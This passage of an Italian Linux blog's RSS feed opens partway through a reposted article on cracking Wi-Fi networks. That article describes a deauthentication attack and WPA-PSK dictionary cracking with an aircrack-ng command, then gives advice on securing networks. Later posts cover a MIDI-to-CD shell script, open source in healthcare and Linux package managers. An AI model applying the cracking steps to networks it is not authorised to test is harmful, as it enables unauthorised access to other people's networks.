src="http://www.mrwebmaster.it/images/articoli/sicurezza_cracking_wifi/aircrack.png" border="0" alt="" /></p><p><strong>Cracking WPA-PSK</strong></p><p>Le reti WPA-PSK fortunatamente non soffrono della grave vulnerabilità del protocollo WEP. Craccare una rete di questo tipo necessità, pertanto, di un approccio per tentativi in cerca della giusta <em>passphrase</em>.</p><p>L&#8217;obiettivo preliminare è catturare un <em>handshake</em> valido. Per chi non lo sapesse l&#8217;handshake è una sequenza di pacchetti scambiati tra un client autorizzato e un Access Point che porta all&#8217;autenticazione.</p><p>Per conseguire questo primo fine si possono seguire due strade, la prima è aspettare che un client si connetta spontaneamente, la seconda è usare il <strong>Deauthentication attack</strong>.<br
/> Il principio è far disconnettere un client con lo scopo di fargli ripetere la procedura di autenticazione, che sarà attentamente catturata dal nostro sniffer.<br
/> La prima opzione, che pare a prima vista &#8220;poco furba&#8221;, diventa l&#8217;unica praticabile quando nessun client è connesso alla rete obiettivo.</p><p>Una volta catturato l&#8217;handshake si passa alla ricerca della passphrase.<br
/> Per questioni di tempo è impensabile effettuare un attacco a tentativi col grezzo &#8220;brute force&#8221; (prova sequenziale di tutte le combinazioni di un insieme di caratteri detto &#8220;charset&#8221;). E&#8217; da preferire un <strong>attacco a dizionario</strong>, che però richiede una <em>wordlist</em> (lista di parole di senso compiuto normalmente utilizzate come password; ad esempio nomi di persona) di buona qualità per risultare efficiente.<br
/> Una volta ottenuta la wordlist sarà sufficiente eseguire il comando:</p><blockquote><pre>aircrack-ng -w &lt;wordlist.txt&gt; -b &lt;mac_address&gt; &lt;filedicattura.ivs&gt;</pre></blockquote><p>ed attendere speranzosi che la password cercata sia nel dizionario.<br
/> Un tipo di attacco di questo tipo andrà difficilmente a buon fine se la password è stata scelta con le dovute cautele.</p><p><strong>Evoluzione del cracking e difesa della rete</strong></p><p>Ovviamente questo testo non ha pretese di esaustività nel trattare la materia del cracking di una rete senza fili: esistono, infatti, tecniche più sofisticate che sfruttano altri tipi di vulnerabilità ma di più difficile applicazione. Di contro sono veramente pochi gli utenti in grado di utilizzare metodi differenti da quelli qui descritti.</p><p>Negli ultimi tempi sono stati sviluppati sistemi software che velocizzano il numero di operazioni effettuabili nell&#8217;arco di tempo in un attacco: i più interessanti sfruttano i velocissimi <strong>processori grafici</strong>, molto adatti per fare calcoli di questa natura, oppure sono basati sulla <strong>programmazione distribuita</strong> (il calcolo viene affidato non a una sola macchina ma ad una rete di calcolatori). Questo genere di innovazioni può minare anche la sicurezza delle password più sofisticate e di lunghezza medio-alta.</p><p>Per proteggersi dal WEP, pare scontato che l&#8217;unica soluzione sia non usarlo. Il WEP non è mai sicuro, e il cracking risulta facile qualsiasi sia la passphrase impiegata.<br
/> Il WPA-PSK offre protezione buona a patto che la password sia sufficientemente lunga, composta da vari tipi di caratteri (maiuscole/minuscole/numeri/caratteri speciali) e non sia una parola potenzialmente presente nel dizionario. La sicurezza cresce esponenzialmente con ogni carattere in più aggiunto alla password!<br
/> In ogni caso, quando possibile, il sistema migliore è certamente passare a WPA2-AES oppure, soluzione consigliata in ambito professionale, dotarsi di un server di autenticazione, ad esempio un server RADIUS.</p><p><a
href="http://www.mrwebmaster.it/sicurezza/articoli/cracking-reti-wi-fi_1083.html">Fonte mr webmaster</a></p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2009/10/21/cracking-di-reti-wi-fi/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Convertire da MIDI a WAV&#8230;</title><link>http://www.arturu.it/blog/2009/09/29/convertire-da-midi-a-wav/</link> <comments>http://www.arturu.it/blog/2009/09/29/convertire-da-midi-a-wav/#comments</comments> <pubDate>Tue, 29 Sep 2009 15:19:06 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Audio]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Soluzioni]]></category> <category><![CDATA[conversioni]]></category> <category><![CDATA[midi]]></category> <category><![CDATA[wav]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=597</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/audio/" title="Audio">Audio</a><a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/solving/" title="Soluzioni">Soluzioni</a></p>Senza ombra di dubbio l&#8217;operazione più snervante per me è convertire file MIDI in audio e poi scriverli su un cd. Il problema non si pone quando è un solo file ma quando devo passare un&#8217;intera compilation su cd&#8230; Da [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/audio/" title="Audio">Audio</a><a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/solving/" title="Soluzioni">Soluzioni</a></p><p><img
class="alignleft size-full wp-image-64" title="cdrom_mount" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/cdrom_mount.png" alt="cdrom_mount" width="128" height="128" />Senza ombra di dubbio l&#8217;operazione più snervante per me è convertire file MIDI in audio e poi scriverli su un cd. Il problema non si pone quando è un solo file ma quando devo passare un&#8217;intera compilation su cd&#8230; Da poco ho trovato una soluzione quasi magica a questo problema&#8230;<span
id="more-597"></span></p><div><p>Allora come sistema operativo uso Kubuntu 7.10 e timidity++ come server midi.</p></div><div><p>Tramite la shell il comando con cui si converte un file MIDI in formato WAV-RIFF, adatto per l&#8217;incisione di un CD, è il seguente:</p></div><div><p>timidity -Ow -s 44100 file_midi -o file_wav</p></div><p>successivamente tramite shell o un programma grafico si possono trasferire i file su un cd vuoto. In questo modo la conversione dei file midi deve essere fatta sempre ad uno ad uno, cosa molto tediosa, possiamo fare in modo che vengano convertiti tutti i file MIDI presenti in una determinata cartella e trasferiti su cd in modo automatizzato. Per risolvere questo problema si può utilizzare uno script adatto allo scopo. Di seguito uno script commentato in ogni parte.</p><p><code>#!/bin/sh<br
/> ##<br
/> ## midi2cd MIDI_FILE...<br
/> ##<br
/> #<br
/> # Modificare questa variabile per indicare le coordinate del<br
/> # masterizzatore.<br
/> #<br
/> DEV="0,0,0"<br
/> #<br
/> # Se si tratta di un masterizzatore ATAPI che non è riconosciuto<br
/> # da Cdrdao, conviene assegnare la stringa "--driver generic-mmc".<br
/> #<br
/> CD_DRIVER=""<br
/> #<br
/> # I file MIDI vengono forniti come argomenti della riga di comando.<br
/> #<br
/> MIDI_LIST="$@"<br
/> #<br
/> # Collocazione dei file temporanei.<br
/> #<br
/> TEMPORARY=`tempfile`<br
/> rm -f $TEMPORARY<br
/> mkdir $TEMPORARY<br
/> TOC="$TEMPORARY/TOC"<br
/> #<br
/> # Variabile usata per numerare sequenzialmente le tracce.<br
/> #<br
/> N="0"<br
/> #<br
/> # File correnti.<br
/> #<br
/> MIDI=""<br
/> WAV=""<br
/> #<br
/> # Inizia il file TOC di Cdrdao.<br
/> #<br
/> echo CD_DA &gt; $TOC<br
/> #<br
/> # Si convertono i file MIDI.<br
/> #<br
/> for MIDI in $MIDI_LIST<br
/> do<br
/> #<br
/> # Incrementa N.<br
/> #<br
/> N=$(($N+1))<br
/> #<br
/> # Definisce il nome da dare al file WAV: usa il numero sequenziale<br
/> # e gli aggiunge l'estensione.<br
/> #<br
/> WAV="$TEMPORARY/$N.wav"<br
/> #<br
/> # Converte il file MIDI.<br
/> #<br
/> timidity -Ow -s 44100 $MIDI -o $WAV<br
/> #<br
/> # Aggiunge le informazioni necessarie nel file TOC di Cdrdao.<br
/> #<br
/> echo // Track $N &gt;&gt; $TOC<br
/> echo TRACK AUDIO &gt;&gt; $TOC<br
/> echo NO PRE_EMPHASIS &gt;&gt; $TOC<br
/> echo TWO_CHANNEL_AUDIO &gt;&gt; $TOC<br
/> echo AUDIOFILE \"$WAV\" 0 &gt;&gt; $TOC<br
/> #<br
/> done<br
/> #<br
/> # Incide il CD.<br
/> #<br
/> cdrdao write            \<br
/> --overburn          \<br
/> -v 2                \<br
/> --buffers 128       \<br
/> --speed 4           \<br
/> --device $DEV       \<br
/> $CD_DRIVER          \<br
/> $TOC</code></p><p>lo script seguente si potrebbe chiamare <em>midi2cd</em> ed eseguendolo in una qualsiasi cartella (es: <em>midi2cd *.mid</em>) converterà in automatico i file midi in audio e li scriverà su cd. Nell&#8217;utilizzare questo script bisogna considerare alcuni punti:</p><ul><li>i file midi verranno processati in ordine alfabetico;</li><li>la qualità dei file audio che si ottengono dipende molto dalle librerie di suoni che si utilizzano, quindi sarebbe opportuno, se si desidera una qualità audio superiore utilizzare librerie adatte e non quelle di default (molto leggere);</li><li>il totale di minuti da convertire, bisogna rispettare le capacità di un cd;</li><li>lo script deve avere i permessi necessari per essere eseguito, dipende da sistema a sistema, ad es su kubuntu funziona da utente normale.</li></ul><div>Volendo si possono apportare delle migliorie, sarebbe utile che lo script riconosca in automatico il materizzatore.</div><div>Ciao, alla prossima&#8230;</div> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2009/09/29/convertire-da-midi-a-wav/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>La sanità investirà sull&#8217;Open source</title><link>http://www.arturu.it/blog/2009/09/29/la-sanita-investira-sullopen-source/</link> <comments>http://www.arturu.it/blog/2009/09/29/la-sanita-investira-sullopen-source/#comments</comments> <pubDate>Tue, 29 Sep 2009 14:56:23 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Linux]]></category> <category><![CDATA[Mercato]]></category> <category><![CDATA[News]]></category> <category><![CDATA[Open Source]]></category> <category><![CDATA[OS]]></category> <category><![CDATA[Pubblica Amministrazione]]></category> <category><![CDATA[OpenSource]]></category> <category><![CDATA[PA]]></category> <category><![CDATA[Sanità]]></category> <category><![CDATA[Software]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=584</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/mercato/" title="Mercato">Mercato</a><a
href="http://www.arturu.it/blog/category/news/" title="News">News</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a><a
href="http://www.arturu.it/blog/category/pubblica-amministrazione/" title="Pubblica Amministrazione">Pubblica Amministrazione</a></p>Diagnosi precoce, prevenzione, appropriatezza della cura. Principi fondamentali della sanità che consentono al paziente di sentirsi più protetto e sicuro, soddisfatto nei suoi bisogni di salute, tranquillo nell&#8217;affidarsi ad un équipe medica o ad un sistema organizzativo sanitario in grado [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/mercato/" title="Mercato">Mercato</a><a
href="http://www.arturu.it/blog/category/news/" title="News">News</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a><a
href="http://www.arturu.it/blog/category/pubblica-amministrazione/" title="Pubblica Amministrazione">Pubblica Amministrazione</a></p><p><span
style="font-family: Verdana; font-size: x-small;"><img
class="alignleft size-full wp-image-437" title="tux" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/tux.png" alt="tux" width="128" height="128" />Diagnosi precoce, prevenzione, appropriatezza della cura. Principi fondamentali della sanità che consentono al paziente di sentirsi più protetto e sicuro, soddisfatto nei suoi bisogni di salute, tranquillo nell&#8217;affidarsi ad un équipe medica o ad un sistema organizzativo sanitario in grado di assistere il paziente a 360 gradi e in modo tempestivo ed efficace.</span></p><div><p><span
style="font-family: Verdana; font-size: x-small;">Talvolta però non bastano la capacità e la professionalità dei medici, servono apparecchiature all&#8217;avanguardia e strumentazioni tecnologiche e innovative. Gli operatori sanitari devono essere in grado di scambiare le informazioni in tempo reale, devono poter accedere alle cartelle cliniche e ai reperti medici rapidamente senza ostacoli procedurali e organizzativi.</span></p><p><span
style="font-family: Verdana; font-size: x-small;"><span
id="more-584"></span><br
/> </span></div><div><p><span
style="font-family: Verdana; font-size: x-small;">La sanità oggi non sembra essere in grado di sostenere la razionalizzazione di questi processi, convinta che una riorganizzazione globale sia sinonimo di costi aggiuntivi che i bilanci delle aziende sanitarie non possono coprire.</span></div><div><p><span
style="font-family: Verdana; font-size: x-small;">L&#8217;utilizzo invece dell&#8217;Open source (letteralmente “sorgente aperta”) o del free software (sofware libero) può offrire una valida e qualitativa alternativa alla lentezza e alle difficoltà incontrate nell&#8217;interscambio di informazioni all&#8217;interno di un&#8217;azienda o di una struttura ospedaliera. Si tratta di uno strumento informatico rivoluzionario, ormai già presente sul mercato e in via di espansione, che nel giro di pochi anni è destinato ad aprire nuovi orizzonti in molti settori e campi lavorativi, nell&#8217;ottimizzazione dei processi gestionali e organizzativi anche della sanità pubblica e privata </span></div><div><p><span
style="font-family: Verdana; font-size: x-small;">Con l&#8217;Open source &#8211; insieme di software distribuiti gratuitamente e corredati dei relativi codici sorgenti &#8211; un programma, o sistema operativo, deve rispettare i canoni del codice aperto, ossia dovrà essere liberamente diffusibile (senza costi o restrizioni, tipiche del software proprietario) ed anche personalizzabile attraverso la libera accessibilità ai codici sorgenti dell&#8217;applicativo stesso. In tal modo, chiunque avesse necessità di estendere un software (già solido e specializzato) con ulteriori funzionalità adatte a specifiche e soggettive esigenze, avrà la possibilità di realizzare tali modifiche in piena autonomia, senza dover chiedere autorizzazioni o versare pagamenti alla software house (casa produttrice di software).</span></p><p><span
style="font-family: Verdana; font-size: x-small;">Solo dunque con la condivisione dei programmi è possibile trovare il “pacchetto informatico” più idoneo e vantaggioso per il proprio sistema procedurale e organizzativo e adeguarlo alle nuove esigenze che via via si presentano.<br
/> Claudio Saccavini, Cio del Dipartimento di Scienze medico-diagnostiche-Terapie speciali dell&#8217;Università di Padova, che sarà a Rovigo all&#8217;Open source Expo 2007 per la conferenza dal titolo “Open source e Open standard per lo sviluppo della sanità elettronica: potenzialità e opportunità”,<br
/> è uno studioso nonché grande sostenitore dell&#8217;applicazione dell&#8217;Open    source nella sanità.<br
/> “Oggi le aziende sanitarie e le strutture ospedaliere gestiscono un numero esponenziale di informazioni – avverte – e non basta più il supporto cartaceo. A Padova, ad esempio, si è passati in Radiologia dalla gestione di 250 immagini a 7-8.000 l&#8217;anno, è evidente che si rischia l&#8217;entropia delle informazioni dei clinici. Il vero problema non è l&#8217;informazione al paziente, ma la comunicazione interna tra i professionisti che devono poterle integrare e condividere. L&#8217;Università di Padova ha creato, utilizzando il sistema Open source, un programma per la gestione dati tra il reparto di Endoscopia e Radiologia, in modo che i referti medici o le indagini ragiologiche possano essere visionate in tempo reale”. Ma sono molte altre le applicazioni, come ad esempio per la cartella clinica elettronica, per l&#8217;organizzazione del centro unico di prenotazione, per la distribuzione dei farmaci a domicilio. </span></p><p><span
style="font-family: Verdana; font-size: x-small;">Secondo Saccavini però le difficoltà non si incontrano tanto nell&#8217;utilizzo delle tecnologie, quanto nella formazione delle risorse umane. “Per l&#8217;acquisto di una Tac o di una risonanza magnetica i fondi si trovano, ma il più delle volte le direzioni generali delle Ulss non calcolano o non prendono in considerazione poi i costi indotti, quelli della formazione che, se non attivata, di fatto frena la crescita e l&#8217;innovazione”. Così per il docente universitario diventa un luogo comune pensare che l&#8217;informatizzazione porti solo ad un vantaggio economico. “Bisogna essere più lungimiranti e pensare ai benefici a medio-lungo termine. Alle direzioni generali delle Ulss interessano il controllo di gestione e l&#8217;economia di scala, ai medici gli aspetti clinici. Ecco che con l&#8217;Open source ci può essere la giusta mediazione e integrazione tra le due esigenze. Il sistema sanitario sta cambiando e sono convinto che finito il tempo delle tecnologie d&#8217;avanguardia si apra la scommessa dell&#8217;adozione dei sistemi informatici Os e dell&#8217;automazione dei processi. Mi auguro anche che arrivi il momento degli investimenti nelle risorse umane”. I progetti che riguardano l&#8217;innovazione tecnologica trovano solitamente fondi e contributi a livello nazionale e regionale, ma il problema è che l&#8217;approccio all&#8217;Open source viene opzionato principalmente in centri di eccellenza. “Ci sono casi sporadici, come l&#8217;Ulss di Arzignano dove l&#8217;Os è stato applicato nell&#8217;ambito di un progetto per la gestione della privacy, che purtroppo rimane fine a se stesso – spiega Saccavini -. Sarebbe opportuno che il ministero finanziasse il “riuso” di questi sistemi aperti, in modo che le esperienze e le progettualità fossero messe a disposizione di tutti i soggetti interessati. Uno sforzo lo sta facendo in tal senso il Cnipa che ha creato un Osservatorio nazionale sull&#8217;Open source, uno strumento unico a livello europeo. E fa molto bene il responsabile Vittorio Pagani a lanciare l&#8217;idea di una community gestita dal ministero, perché fondamentale per chi accede all&#8217;open source è proprio la condivisione dei vari software e programmi, il riuso insomma. Non è solo un problema di fondi e finanziamenti, ma di entrare in un nuovo modo di pensare, in uno stile di vita che sostiene la cooperazione anche nella pubblica amministrazione in genere”. </span></p><p><a
href="http://www.datamanager.it/articoli.php?idricercato=21363" target="_blank">Fonte datamanager.it </a></div> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2009/09/29/la-sanita-investira-sullopen-source/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Mail sui gestori di pacchetti</title><link>http://www.arturu.it/blog/2009/09/29/539/</link> <comments>http://www.arturu.it/blog/2009/09/29/539/#comments</comments> <pubDate>Tue, 29 Sep 2009 14:34:39 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Linux]]></category> <category><![CDATA[Mail dei lettori]]></category> <category><![CDATA[Open Source]]></category> <category><![CDATA[OS]]></category> <category><![CDATA[mail]]></category> <category><![CDATA[pacchetti]]></category> <category><![CDATA[ubuntu]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/2009/09/29/539/</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/mail-dei-lettori/" title="Mail dei lettori">Mail dei lettori</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a></p>Come al solito mi sono arrivate alcune mail sull&#8217;articolo appena pubblicato: sui gestori di pacchetti. Ci sono alcune precisazioni e novità. Bisogna dire che i gestori di pacchetti non fanno ricerche su internet ma recuperano il software da indirizzi impostati [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/mail-dei-lettori/" title="Mail dei lettori">Mail dei lettori</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a></p><p>Come al solito mi sono arrivate alcune mail sull&#8217;articolo appena pubblicato: sui gestori di pacchetti. Ci sono alcune precisazioni e novità. Bisogna dire che i gestori di pacchetti non fanno ricerche su internet ma recuperano il software da indirizzi impostati nei repository. I Repository sono delle liste di indirizzi (detto semplicemente) che indicano al gestore dove si trovano i pacchetti da scaricare. Le liste di base con tutto il software ufficiale della distribuzione sono già preimpostate, ma nessuno vieta di inserire nuovi repository con tanti altri programmi aggiuntivi. Come ad esempio seguendo <a
href="http://nothing-to-report.blogspot.com/2007/08/repository-aggiuntivi.html" target="_blank">questo link</a>, oppure inserendo nei repository <a
href="http://www.getdeb.net/" target="_blank">questo sito</a>.</p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2009/09/29/539/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Gestori di pacchetti</title><link>http://www.arturu.it/blog/2009/09/29/gestori-di-pacchetti/</link> <comments>http://www.arturu.it/blog/2009/09/29/gestori-di-pacchetti/#comments</comments> <pubDate>Tue, 29 Sep 2009 14:25:39 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Linux]]></category> <category><![CDATA[Open Source]]></category> <category><![CDATA[OS]]></category> <category><![CDATA[Soluzioni]]></category> <category><![CDATA[Ubuntu & C.]]></category> <category><![CDATA[pacchetti]]></category> <category><![CDATA[ubuntu]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=516</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a><a
href="http://www.arturu.it/blog/category/solving/" title="Soluzioni">Soluzioni</a><a
href="http://www.arturu.it/blog/category/ubuntu-c/" title="Ubuntu &amp; C.">Ubuntu &amp; C.</a></p>Una delle tante filosofie del mondo Open Source riguarda l&#8217;economia del software, come concetto di base si tende a non replicare nel sistema codice o componente che già è stato implementato da un altro programmatore. Questi componenti vengono distribuiti attraverso [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a><a
href="http://www.arturu.it/blog/category/solving/" title="Soluzioni">Soluzioni</a><a
href="http://www.arturu.it/blog/category/ubuntu-c/" title="Ubuntu &amp; C.">Ubuntu &amp; C.</a></p><p><img
class="alignleft size-full wp-image-415" title="synaptic" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/synaptic.png" alt="synaptic" width="128" height="128" />Una delle tante filosofie del mondo Open Source riguarda l&#8217;economia del software, come concetto di base si tende a non replicare nel sistema codice o componente che già è stato implementato da un altro programmatore. Questi componenti vengono distribuiti attraverso internet in file compressi e vengono chiamati pacchetti o packange. Dal punto di vista del programmatore questa è la soluzione migliore ma dal punto di vista dell&#8217;utente, specialmente per chi non ha molta esperienza, può diventare un incubo. Infatti, per poter installare un determinato software bisogna installare prima i pacchetti necessari al suo funzionamento, stando attenti che questi pacchetti a loro volta non richiedano altri pacchetti per poter funzionare e così via; nel gergo Open Source questo procedimento viene chiamato “Risoluzione delle dipendenze”. Per ovviare a questo problema si utilizzano dei programmi appositamente costruiti che sono i “Gestori di Pacchetti”. Attualmente oltre a risolvere le dipendenze i gestori di pacchetti provvedono alla ricerca del software, al download, all&#8217;installazione e alla configurazione. Attualmente l&#8217;utente finale deve solo scegliere il programma che più preferisce, attendere il download, la configurazione ed utilizzare il software. Lo stesso gestore si occupa di rimuovere i programmi, di mantenere aggiornato il sistema, occuparsi dell&#8217;upgrade di versione della distribuzione (ad es. Ubuntu), di aggiornare i driver, ecc., mantenendo sempre pulito e stabile il sistema anche dopo anni e anni di installazione e rimozione del software.</p><p><span
id="more-516"></span></p><p
style="margin-bottom: 0cm;" align="justify">Oggi esistono diverse tecnologie per la gestione dei pacchetti, questa situazione è dovuta alla moltitudine delle distribuzioni GNU/Linux esistenti, infatti, ognuna di essa utilizza un gestore diverso. I gestori largamente usati sono:</p><ul><li>YUM, utilizzato in 	Fedora Core;</li></ul><ul><li>up2date, utilizzato dai sistemi Red Hat Enterprise Linux. La sua versatilità lo fa dialogare anche con reti di distribuzione YUM e APT che contengono pacchetti RPM;</li></ul><ul><li>YasT, utilizzato 	nelle distribuzioni Linux SUSE;</li></ul><ul><li>urpmi, utilizzato da 	Mandrakelinux;</li></ul><ul><li>Advanced Packaging 	Tool (APT) per RPM</li></ul><ul><li>dpkg utilizzato per primo sulle distribuzioni Debian GNU/Linux e poi da altre distribuzioni. Utilizza un formato di pacchetti .deb ed è stato il primo a risolvere le dipendenze.</li></ul><ul><li>portage/emerge utilizzato su Gentoo, famoso perché a differenza degli altri (che scaricano il programma già compilato) scarica il codice sorgente e provvede ad ottimizzarlo e compilarlo per l&#8217;hardaware installato sul computer, in questo modo si ha un software ottimizzato per il proprio computer e non uno generico che va bene per tutti.</li></ul><p></p><h4>Esempio pratico</h4><p></p><p
style="margin-bottom: 0cm;" align="justify">Attualmente se voglio installare un programma o una libreria su un sistema GNU/Linux le uniche cose di cui mi devo preoccupare è decidere quale programma mi serve, al resto (download, istallazione e configurazione) ci pensa il gestore dei pacchetti.</p><p
style="margin-bottom: 0cm;" align="justify">Oggi ho comprato un bel DVD contenente una delle mie opere preferite “La forza del destino” di Giuseppe Verdi, logicamente dopo aver speso un sacco di soldi vorrei farmi un bel Backup del disco, devo trovare un programma che mi permetta di farlo. Prima di tutto apro il gestore dei pacchetti che sul mio sistema (Kubuntu) è Adept (interfaccia grafica di dpkg-apt)</p><p
style="margin-bottom: 0cm; text-align: center;" align="justify"><img
class="size-medium wp-image-527 aligncenter" title="mini_schermata1" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/mini_schermata1-300x183.png" alt="mini_schermata1" width="300" height="183" /></p><p></p><p
style="margin-bottom: 0cm;" align="justify"><p
style="margin-bottom: 0cm;" align="justify"><p
style="margin-bottom: 0cm;" align="justify"><p
style="margin-bottom: 0cm;" align="justify"><p
style="margin-bottom: 0cm;" align="justify"><p
style="margin-bottom: 0cm;" align="justify"><p
style="margin-bottom: 0cm;" align="justify">Il gestore dei pacchetti mi permette due tipi di visualizzazioni: il software disposto per categorie (come nel menù di sistema) oppure in ordine alfabetico, scelgo per categorie così posso trovare più facilmente il mio programma</p><p
style="margin-bottom: 0cm;" align="justify"><img
class="aligncenter size-medium wp-image-529" title="mini_schermata3" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/mini_schermata3-300x258.png" alt="mini_schermata3" width="300" height="258" /></p><p></p><p
style="margin-bottom: 0cm;" align="justify">Tramite la casella cerca trovo il software che mi interessa, in questo caso è k9copy (purtroppo ancora le descrizioni dei programmi sono ancora in inglese, solo le descrizioni) che mi permette di fare un backup di un film DVD 9GB su un supporto da 4.7GB, del tutto simile a DVDShrink esistente sui sistemi Microsoft Windows:</p><p
style="margin-bottom: 0cm;" align="justify"><img
class="aligncenter size-medium wp-image-530" title="mini_schermata4" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/mini_schermata4-300x253.png" alt="mini_schermata4" width="300" height="253" /></p><p></p><p
style="margin-bottom: 0cm;" align="justify">Seleziono e clicco su “Applica le modifiche” e attendo il download dei 5 MB necessari</p><p
style="margin-bottom: 0cm;" align="justify"><img
class="aligncenter size-medium wp-image-531" title="mini_schermata5" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/mini_schermata5-300x253.png" alt="mini_schermata5" width="300" height="253" /></p><p
style="margin-bottom: 0cm;" align="justify"></p><p
style="margin-bottom: 0cm;" align="justify">Al termine del download il gestore provvederà ad installare e a configurare il programma appena scaricato:</p><p
style="margin-bottom: 0cm;" align="justify"><img
class="aligncenter size-medium wp-image-532" title="mini_schermata6" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/mini_schermata6-300x254.png" alt="mini_schermata6" width="300" height="254" /></p><p
style="margin-bottom: 0cm;" align="justify"></p><p
style="margin-bottom: 0cm;" align="justify">Appena completata l&#8217;installazione il programma sarà subito disponibile nel menù di sistema sotto la categoria Multimedia, stessa catalogazione del gestore dei pacchetti:</p><p
style="margin-bottom: 0cm;" align="justify"><img
class="aligncenter size-medium wp-image-533" title="mini_schermata7" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/mini_schermata7-300x110.png" alt="mini_schermata7" width="300" height="110" /></p><p></p><p
style="margin-bottom: 0cm;" align="justify">Ecco k9copy in azione:</p><p
style="margin-bottom: 0cm;" align="justify"><img
class="aligncenter size-medium wp-image-534" title="mini_schermata8" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/mini_schermata8-300x233.png" alt="mini_schermata8" width="300" height="233" /></p><p></p><p
style="margin-bottom: 0cm;" align="justify">Il programma è totalmente in italiano e rispecchia la descrizione contenuta nel gestore dei pacchetti.</p><p
style="margin-bottom: 0cm;" align="justify">Successivamente mi accorgo che nel trascrivere su disco un vecchio backup di un DVD fatto con Clone CD non mi viene riconosciuta l&#8217;immagine. Come al solito apro il gestore dei pacchetti (stavolta con l&#8217;altra visualizzazione) e cerco Clone CD e trovo la mia libreria.</p><p
style="margin-bottom: 0cm;" align="justify"><img
class="aligncenter size-medium wp-image-535" title="mini_schermata9" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/mini_schermata9-300x248.png" alt="mini_schermata9" width="300" height="248" /></p><p
style="margin-bottom: 0cm;" align="justify"></p><p
style="margin-bottom: 0cm;" align="justify">Dopo aver cliccato su Applica modifiche come al solito verrà scaricata, installata e configurata la libreria. Ad esempio sarà usata come: plug-in nel programma di masterizzazione, come un normale programma se dispone di un&#8217;interfaccia grafica, oppure, dalla linea di comando.</p><p
style="margin-bottom: 0cm;" align="justify"></p><h4>Conclusioni</h4><p></p><p
style="margin-bottom: 0cm;" align="justify">In questo articolo ho cercato di portare a conoscenza i grossi passi avanti fatti dalle distribuzioni GNU/Linux riguardante l&#8217;installazione del software. Fino a poco tempo fa per un nuovo utente riuscire ad installare un software, senza troppe preoccupazioni, era quasi impossibile, infatti, ancora oggi si pensa che per installare i programmi sui sistemi Linux sia sempre necessario compilare i sorgenti e risolvere le dipendenze, attualmente sulla maggior parte delle distribuzioni tutto il software che si scarica è già precompilato e le dipendenze vengono risolte in automatico. Esistono distribuzioni come Gentoo che ottimizzano il software per l&#8217;hardware in uso compilando il codice sorgente del programma prima di installarlo.</p><p
style="margin-bottom: 0cm;" align="justify">Infine vorrei fare un&#8217;osservazione prima di concludere: attualmente sulla maggior parte dei sistemi GNU/Linux servono due clic per installare e usare qualsiasi tipo di software senza pagare nulla, cosa che non succede su altri sistemi.</p><h4>Collegamenti utili</h4><div><a
href="http://sourceforge.net/" target="_blank">http://sourceforge.net/</a> Sito di riferimento per il mondo Open Source per il download dei sorgenti dei programmi.</div><p
style="margin-bottom: 0cm;" align="justify"><a
